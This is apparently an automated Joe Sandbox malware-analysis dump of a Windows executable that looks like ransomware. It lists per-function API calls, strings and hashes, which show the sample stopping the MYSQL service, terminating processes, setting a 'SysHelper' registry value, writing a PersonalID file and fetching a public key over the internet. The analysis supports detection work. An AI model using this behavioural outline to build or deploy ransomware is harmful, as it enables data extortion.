Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

fopen(', xrefs: 00465611
',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 779349bd5cffae9da37cda92e0556b786322a556b4ba80c6d8d46dbb3173291c
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 779349bd5cffae9da37cda92e0556b786322a556b4ba80c6d8d46dbb3173291c
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

ENCRYPTED, xrefs: 004633BC
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
Proc-Type: , xrefs: 0046337C
DEK-Info: , xrefs: 00463422

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0042728B Relevance: 12.2, APIs: 8, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char$_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 1678825546-0
Opcode ID: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction ID: 52db3c5ac710bcba984e77d884e21c03200a6a5045cf61879664ec27deebefdc
Opcode Fuzzy Hash: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction Fuzzy Hash: 27718471F092399BDF30DA58EC98BAAB7B5EF54314F5440DAD908A6241D7389EC0CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789ABCDEF, xrefs: 004574D6
, xrefs: 00457482
+, xrefs: 00457475
0123456789abcdef, xrefs: 004574C4

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004273EA Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction ID: 6e53a8d943180cd312645f9ab6be848b87d00e26e6c43e5a6b33f09903c19296
Opcode Fuzzy Hash: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction Fuzzy Hash: AA515771F09139AFDF309A54DC99BAAB7B5EF04304F4400DAD908A6251D7799F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004273FA Relevance: 10.6, APIs: 7, Instructions: 127COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction ID: 8198ec34aa8999dc590647716f2dc488f85491d7af5cc04cf74bf98b0f8c793f
Opcode Fuzzy Hash: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction Fuzzy Hash: F2514471F05139AEDF309A68DC99BAAB7B5EF04304F4400DAE908A6251E7399F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

